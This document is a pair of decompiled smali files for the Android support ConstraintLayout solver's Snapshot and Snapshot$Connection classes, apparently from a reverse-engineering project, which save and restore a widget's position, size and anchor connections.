--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/solver/widgets/Snapshot$Connection.smali:
--------------------------------------------------------------------------------
1 | .class Landroid/support/constraint/solver/widgets/Snapshot$Connection;
2 | .super Ljava/lang/Object;
3 | .source "Snapshot.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/EnclosingClass;
8 | value = Landroid/support/constraint/solver/widgets/Snapshot;
9 | .end annotation
10 |
11 | .annotation system Ldalvik/annotation/InnerClass;
12 | accessFlags = 0x8
13 | name = "Connection"
14 | .end annotation
15 |
16 |
17 | # instance fields
18 | .field private mAnchor:Landroid/support/constraint/solver/widgets/ConstraintAnchor;
19 |
20 | .field private mCreator:I
21 |
22 | .field private mMargin:I
23 |
24 | .field private mStrengh:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
25 |
26 | .field private mTarget:Landroid/support/constraint/solver/widgets/ConstraintAnchor;
27 |
28 |
29 | # direct methods
30 | .method public constructor (Landroid/support/constraint/solver/widgets/ConstraintAnchor;)V
31 | .locals 1
32 | .param p1, "anchor" # Landroid/support/constraint/solver/widgets/ConstraintAnchor;
33 |
34 | .line 47
35 | invoke-direct {p0}, Ljava/lang/Object;->()V
36 |
37 | .line 48
38 | iput-object p1, p0, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->mAnchor:Landroid/support/constraint/solver/widgets/ConstraintAnchor;
39 |
40 | .line 49
41 | invoke-virtual {p1}, Landroid/support/constraint/solver/widgets/ConstraintAnchor;->getTarget()Landroid/support/constraint/solver/widgets/ConstraintAnchor;
42 |
43 | move-result-object v0
44 |
45 | iput-object v0, p0, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->mTarget:Landroid/support/constraint/solver/widgets/ConstraintAnchor;
46 |
47 | .line 50
48 | invoke-virtual {p1}, Landroid/support/constraint/solver/widgets/ConstraintAnchor;->getMargin()I
49 |
50 | move-result v0
51 |
52 | iput v0, p0, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->mMargin:I
53 |
54 | .line 51
55 | invoke-virtual {p1}, Landroid/support/constraint/solver/widgets/ConstraintAnchor;->getStrength()Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
56 |
57 | move-result-object v0
58 |
59 | iput-object v0, p0, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->mStrengh:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
60 |
61 | .line 52
62 | invoke-virtual {p1}, Landroid/support/constraint/solver/widgets/ConstraintAnchor;->getConnectionCreator()I
63 |
64 | move-result v0
65 |
66 | iput v0, p0, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->mCreator:I
67 |
68 | .line 53
69 | return-void
70 | .end method
71 |
72 |
73 | # virtual methods
74 | .method public applyTo(Landroid/support/constraint/solver/widgets/ConstraintWidget;)V
75 | .locals 5
76 | .param p1, "widget" # Landroid/support/constraint/solver/widgets/ConstraintWidget;
77 |
78 | .line 81
79 | iget-object v0, p0, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->mAnchor:Landroid/support/constraint/solver/widgets/ConstraintAnchor;
80 |
81 | invoke-virtual {v0}, Landroid/support/constraint/solver/widgets/ConstraintAnchor;->getType()Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;
82 |
83 | move-result-object v0
84 |
85 | invoke-virtual {p1, v0}, Landroid/support/constraint/solver/widgets/ConstraintWidget;->getAnchor(Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;)Landroid/support/constraint/solver/widgets/ConstraintAnchor;
86 |
87 | move-result-object v0
88 |
89 | .line 82
90 | .local v0, "anchor":Landroid/support/constraint/solver/widgets/ConstraintAnchor;
91 | iget-object v1, p0, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->mTarget:Landroid/support/constraint/solver/widgets/ConstraintAnchor;
92 |
93 | iget v2, p0, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->mMargin:I
94 |
95 | iget-object v3, p0, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->mStrengh:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
96 |
97 | iget v4, p0, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->mCreator:I
98 |
99 | invoke-virtual {v0, v1, v2, v3, v4}, Landroid/support/constraint/solver/widgets/ConstraintAnchor;->connect(Landroid/support/constraint/solver/widgets/ConstraintAnchor;ILandroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;I)Z
100 |
101 | .line 83
102 | return-void
103 | .end method
104 |
105 | .method public updateFrom(Landroid/support/constraint/solver/widgets/ConstraintWidget;)V
106 | .locals 2
107 | .param p1, "widget" # Landroid/support/constraint/solver/widgets/ConstraintWidget;
108 |
109 | .line 61
110 | iget-object v0, p0, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->mAnchor:Landroid/support/constraint/solver/widgets/ConstraintAnchor;
111 |
112 | invoke-virtual {v0}, Landroid/support/constraint/solver/widgets/ConstraintAnchor;->getType()Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;
113 |
114 | move-result-object v0
115 |
116 | invoke-virtual {p1, v0}, Landroid/support/constraint/solver/widgets/ConstraintWidget;->getAnchor(Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;)Landroid/support/constraint/solver/widgets/ConstraintAnchor;
117 |
118 | move-result-object v0
119 |
120 | iput-object v0, p0, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->mAnchor:Landroid/support/constraint/solver/widgets/ConstraintAnchor;
121 |
122 | .line 62
123 | iget-object v0, p0, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->mAnchor:Landroid/support/constraint/solver/widgets/ConstraintAnchor;
124 |
125 | if-eqz v0, :cond_0
126 |
127 | .line 63
128 | iget-object v0, p0, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->mAnchor:Landroid/support/constraint/solver/widgets/ConstraintAnchor;
129 |
130 | invoke-virtual {v0}, Landroid/support/constraint/solver/widgets/ConstraintAnchor;->getTarget()Landroid/support/constraint/solver/widgets/ConstraintAnchor;
131 |
132 | move-result-object v0
133 |
134 | iput-object v0, p0, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->mTarget:Landroid/support/constraint/solver/widgets/ConstraintAnchor;
135 |
136 | .line 64
137 | iget-object v0, p0, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->mAnchor:Landroid/support/constraint/solver/widgets/ConstraintAnchor;
138 |
139 | invoke-virtual {v0}, Landroid/support/constraint/solver/widgets/ConstraintAnchor;->getMargin()I
140 |
141 | move-result v0
142 |
143 | iput v0, p0, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->mMargin:I
144 |
145 | .line 65
146 | iget-object v0, p0, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->mAnchor:Landroid/support/constraint/solver/widgets/ConstraintAnchor;
147 |
148 | invoke-virtual {v0}, Landroid/support/constraint/solver/widgets/ConstraintAnchor;->getStrength()Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
149 |
150 | move-result-object v0
151 |
152 | iput-object v0, p0, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->mStrengh:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
153 |
154 | .line 66
155 | iget-object v0, p0, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->mAnchor:Landroid/support/constraint/solver/widgets/ConstraintAnchor;
156 |
157 | invoke-virtual {v0}, Landroid/support/constraint/solver/widgets/ConstraintAnchor;->getConnectionCreator()I
158 |
159 | move-result v0
160 |
161 | iput v0, p0, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->mCreator:I
162 |
163 | goto :goto_0
164 |
165 | .line 68
166 | :cond_0
167 | const/4 v0, 0x0
168 |
169 | iput-object v0, p0, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->mTarget:Landroid/support/constraint/solver/widgets/ConstraintAnchor;
170 |
171 | .line 69
172 | const/4 v0, 0x0
173 |
174 | iput v0, p0, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->mMargin:I
175 |
176 | .line 70
177 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;->STRONG:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
178 |
179 | iput-object v1, p0, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->mStrengh:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
180 |
181 | .line 71
182 | iput v0, p0, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->mCreator:I
183 |
184 | .line 73
185 | :goto_0
186 | return-void
187 | .end method
188 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/solver/widgets/Snapshot.smali:
--------------------------------------------------------------------------------
1 | .class public Landroid/support/constraint/solver/widgets/Snapshot;
2 | .super Ljava/lang/Object;
3 | .source "Snapshot.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/MemberClasses;
8 | value = {
9 | Landroid/support/constraint/solver/widgets/Snapshot$Connection;
10 | }
11 | .end annotation
12 |
13 |
14 | # instance fields
15 | .field private mConnections:Ljava/util/ArrayList;
16 | .annotation system Ldalvik/annotation/Signature;
17 | value = {
18 | "Ljava/util/ArrayList<",
19 | "Landroid/support/constraint/solver/widgets/Snapshot$Connection;",
20 | ">;"
21 | }
22 | .end annotation
23 | .end field
24 |
25 | .field private mHeight:I
26 |
27 | .field private mWidth:I
28 |
29 | .field private mX:I
30 |
31 | .field private mY:I
32 |
33 |
34 | # direct methods
35 | .method public constructor (Landroid/support/constraint/solver/widgets/ConstraintWidget;)V
36 | .locals 6
37 | .param p1, "widget" # Landroid/support/constraint/solver/widgets/ConstraintWidget;
38 |
39 | .line 91
40 | invoke-direct {p0}, Ljava/lang/Object;->()V
41 |
42 | .line 30
43 | new-instance v0, Ljava/util/ArrayList;
44 |
45 | invoke-direct {v0}, Ljava/util/ArrayList;->()V
46 |
47 | iput-object v0, p0, Landroid/support/constraint/solver/widgets/Snapshot;->mConnections:Ljava/util/ArrayList;
48 |
49 | .line 92
50 | invoke-virtual {p1}, Landroid/support/constraint/solver/widgets/ConstraintWidget;->getX()I
51 |
52 | move-result v0
53 |
54 | iput v0, p0, Landroid/support/constraint/solver/widgets/Snapshot;->mX:I
55 |
56 | .line 93
57 | invoke-virtual {p1}, Landroid/support/constraint/solver/widgets/ConstraintWidget;->getY()I
58 |
59 | move-result v0
60 |
61 | iput v0, p0, Landroid/support/constraint/solver/widgets/Snapshot;->mY:I
62 |
63 | .line 94
64 | invoke-virtual {p1}, Landroid/support/constraint/solver/widgets/ConstraintWidget;->getWidth()I
65 |
66 | move-result v0
67 |
68 | iput v0, p0, Landroid/support/constraint/solver/widgets/Snapshot;->mWidth:I
69 |
70 | .line 95
71 | invoke-virtual {p1}, Landroid/support/constraint/solver/widgets/ConstraintWidget;->getHeight()I
72 |
73 | move-result v0
74 |
75 | iput v0, p0, Landroid/support/constraint/solver/widgets/Snapshot;->mHeight:I
76 |
77 | .line 96
78 | invoke-virtual {p1}, Landroid/support/constraint/solver/widgets/ConstraintWidget;->getAnchors()Ljava/util/ArrayList;
79 |
80 | move-result-object v0
81 |
82 | .line 97
83 | .local v0, "anchors":Ljava/util/ArrayList;, "Ljava/util/ArrayList;"
84 | const/4 v1, 0x0
85 |
86 | .line 97
87 | .local v1, "i":I
88 | invoke-virtual {v0}, Ljava/util/ArrayList;->size()I
89 |
90 | move-result v2
91 |
92 | .line 97
93 | .local v2, "anchorsSize":I
94 | :goto_0
95 | if-ge v1, v2, :cond_0
96 |
97 | .line 98
98 | invoke-virtual {v0, v1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
99 |
100 | move-result-object v3
101 |
102 | check-cast v3, Landroid/support/constraint/solver/widgets/ConstraintAnchor;
103 |
104 | .line 99
105 | .local v3, "a":Landroid/support/constraint/solver/widgets/ConstraintAnchor;
106 | iget-object v4, p0, Landroid/support/constraint/solver/widgets/Snapshot;->mConnections:Ljava/util/ArrayList;
107 |
108 | new-instance v5, Landroid/support/constraint/solver/widgets/Snapshot$Connection;
109 |
110 | invoke-direct {v5, v3}, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->(Landroid/support/constraint/solver/widgets/ConstraintAnchor;)V
111 |
112 | invoke-virtual {v4, v5}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
113 |
114 | .line 97
115 | .end local v3 # "a":Landroid/support/constraint/solver/widgets/ConstraintAnchor;
116 | add-int/lit8 v1, v1, 0x1
117 |
118 | goto :goto_0
119 |
120 | .line 101
121 | .end local v1 # "i":I
122 | .end local v2 # "anchorsSize":I
123 | :cond_0
124 | return-void
125 | .end method
126 |
127 |
128 | # virtual methods
129 | .method public applyTo(Landroid/support/constraint/solver/widgets/ConstraintWidget;)V
130 | .locals 3
131 | .param p1, "widget" # Landroid/support/constraint/solver/widgets/ConstraintWidget;
132 |
133 | .line 126
134 | iget v0, p0, Landroid/support/constraint/solver/widgets/Snapshot;->mX:I
135 |
136 | invoke-virtual {p1, v0}, Landroid/support/constraint/solver/widgets/ConstraintWidget;->setX(I)V
137 |
138 | .line 127
139 | iget v0, p0, Landroid/support/constraint/solver/widgets/Snapshot;->mY:I
140 |
141 | invoke-virtual {p1, v0}, Landroid/support/constraint/solver/widgets/ConstraintWidget;->setY(I)V
142 |
143 | .line 128
144 | iget v0, p0, Landroid/support/constraint/solver/widgets/Snapshot;->mWidth:I
145 |
146 | invoke-virtual {p1, v0}, Landroid/support/constraint/solver/widgets/ConstraintWidget;->setWidth(I)V
147 |
148 | .line 129
149 | iget v0, p0, Landroid/support/constraint/solver/widgets/Snapshot;->mHeight:I
150 |
151 | invoke-virtual {p1, v0}, Landroid/support/constraint/solver/widgets/ConstraintWidget;->setHeight(I)V
152 |
153 | .line 130
154 | const/4 v0, 0x0
155 |
156 | .line 130
157 | .local v0, "i":I
158 | iget-object v1, p0, Landroid/support/constraint/solver/widgets/Snapshot;->mConnections:Ljava/util/ArrayList;
159 |
160 | invoke-virtual {v1}, Ljava/util/ArrayList;->size()I
161 |
162 | move-result v1
163 |
164 | .line 130
165 | .local v1, "mConnectionsSize":I
166 | :goto_0
167 | if-ge v0, v1, :cond_0
168 |
169 | .line 131
170 | iget-object v2, p0, Landroid/support/constraint/solver/widgets/Snapshot;->mConnections:Ljava/util/ArrayList;
171 |
172 | invoke-virtual {v2, v0}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
173 |
174 | move-result-object v2
175 |
176 | check-cast v2, Landroid/support/constraint/solver/widgets/Snapshot$Connection;
177 |
178 | .line 132
179 | .local v2, "connection":Landroid/support/constraint/solver/widgets/Snapshot$Connection;
180 | invoke-virtual {v2, p1}, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->applyTo(Landroid/support/constraint/solver/widgets/ConstraintWidget;)V
181 |
182 | .line 130
183 | .end local v2 # "connection":Landroid/support/constraint/solver/widgets/Snapshot$Connection;
184 | add-int/lit8 v0, v0, 0x1
185 |
186 | goto :goto_0
187 |
188 | .line 134
189 | .end local v0 # "i":I
190 | .end local v1 # "mConnectionsSize":I
191 | :cond_0
192 | return-void
193 | .end method
194 |
195 | .method public updateFrom(Landroid/support/constraint/solver/widgets/ConstraintWidget;)V
196 | .locals 3
197 | .param p1, "widget" # Landroid/support/constraint/solver/widgets/ConstraintWidget;
198 |
199 | .line 109
200 | invoke-virtual {p1}, Landroid/support/constraint/solver/widgets/ConstraintWidget;->getX()I
201 |
202 | move-result v0
203 |
204 | iput v0, p0, Landroid/support/constraint/solver/widgets/Snapshot;->mX:I
205 |
206 | .line 110
207 | invoke-virtual {p1}, Landroid/support/constraint/solver/widgets/ConstraintWidget;->getY()I
208 |
209 | move-result v0
210 |
211 | iput v0, p0, Landroid/support/constraint/solver/widgets/Snapshot;->mY:I
212 |
213 | .line 111
214 | invoke-virtual {p1}, Landroid/support/constraint/solver/widgets/ConstraintWidget;->getWidth()I
215 |
216 | move-result v0
217 |
218 | iput v0, p0, Landroid/support/constraint/solver/widgets/Snapshot;->mWidth:I
219 |
220 | .line 112
221 | invoke-virtual {p1}, Landroid/support/constraint/solver/widgets/ConstraintWidget;->getHeight()I
222 |
223 | move-result v0
224 |
225 | iput v0, p0, Landroid/support/constraint/solver/widgets/Snapshot;->mHeight:I
226 |
227 | .line 113
228 | iget-object v0, p0, Landroid/support/constraint/solver/widgets/Snapshot;->mConnections:Ljava/util/ArrayList;
229 |
230 | invoke-virtual {v0}, Ljava/util/ArrayList;->size()I
231 |
232 | move-result v0
233 |
234 | .line 114
235 | .local v0, "connections":I
236 | const/4 v1, 0x0
237 |
238 | .line 114
239 | .local v1, "i":I
240 | :goto_0
241 | if-ge v1, v0, :cond_0
242 |
243 | .line 115
244 | iget-object v2, p0, Landroid/support/constraint/solver/widgets/Snapshot;->mConnections:Ljava/util/ArrayList;
245 |
246 | invoke-virtual {v2, v1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
247 |
248 | move-result-object v2
249 |
250 | check-cast v2, Landroid/support/constraint/solver/widgets/Snapshot$Connection;
251 |
252 | .line 116
253 | .local v2, "connection":Landroid/support/constraint/solver/widgets/Snapshot$Connection;
254 | invoke-virtual {v2, p1}, Landroid/support/constraint/solver/widgets/Snapshot$Connection;->updateFrom(Landroid/support/constraint/solver/widgets/ConstraintWidget;)V
255 |
256 | .line 114
257 | .end local v2 # "connection":Landroid/support/constraint/solver/widgets/Snapshot$Connection;
258 | add-int/lit8 v1, v1, 0x1
259 |
260 | goto :goto_0
261 |
262 | .line 118
263 | .end local v1 # "i":I
264 | :cond_0
265 | return-void
266 | .end method
267 |
--------------------------------------------------------------------------------